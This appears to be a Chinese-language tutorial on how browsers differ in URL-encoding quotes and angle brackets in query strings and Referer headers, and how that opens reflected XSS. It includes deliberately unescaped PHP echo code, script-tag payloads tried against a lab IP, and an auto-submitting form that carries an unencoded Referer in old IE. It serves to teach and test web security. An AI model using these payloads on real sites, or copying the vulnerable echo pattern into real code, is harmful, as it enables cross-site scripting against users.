首先说一下不同浏览器对’ ” < >的URL编码机制是不同的,例如:
IE:
不会对’ ” < >编码
Chrome:
会对’ ” < >编码
FireFox:
会对’ ” < >编码
以PHP为例,$_GET[‘x’]获取参数值时会对参数进行URL解码。
而如果服务端取出URI直接回显的话就会导致XSS。
如果服务端程序:
<?php
$uri=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
echo "<a href=\"$uri\">xx</a>"
?>
如果在Chrome下访问http://192.168.192.120/ie.php?x=123″><script>alert(1)</script>
因为双引号编码了所以无法闭合。
如果在IE下访问http://192.168.192.120/ie.php?x=123″><script>alert(1)</script>
因为没有编码,所以导致XSS。
同样浏览器在传递Referer的时候也是有差别的
测试程序:
jump1.php
<script>
window.location.href='http://192.168.192.120/referer.php';
</script>
referer.php
<?php echo $_SERVER['HTTP_REFERER']; ?>
IE11下,会将双引号,尖括号编码
http://192.168.192.120/jump2.php?x=123’%22%3E%3C
Chrome和FF,会将单引号,双引号,尖括号编码
http://192.168.192.120/jump2.php?x=123%27%22%3E%3C
一般Referer XSS都存在于href中,如果已经做了URL编码,那么就无法用双引号闭合标签插入XSS语句。
但是测试发现IE6和IE8使用window.location.href跳转时不会传递Referer。
但是可以用如下方式,修改jump1.php为:
<html>
<body>
<form id="xss"
name="xss"
method="GET"
action="http://192.168.192.120/referer.php">
</form>
<script>
document.getElementById("xss").submit();
</script>
</body>
</html>
访问192.168.192.120/jump1.php?x=123′”><
发现单引号,双引号,尖括号都没有做URL编码。那么我们就可以闭合双引号执行XSS。
192.168.192.120/jump1.php?x=<script>alert(1)</script>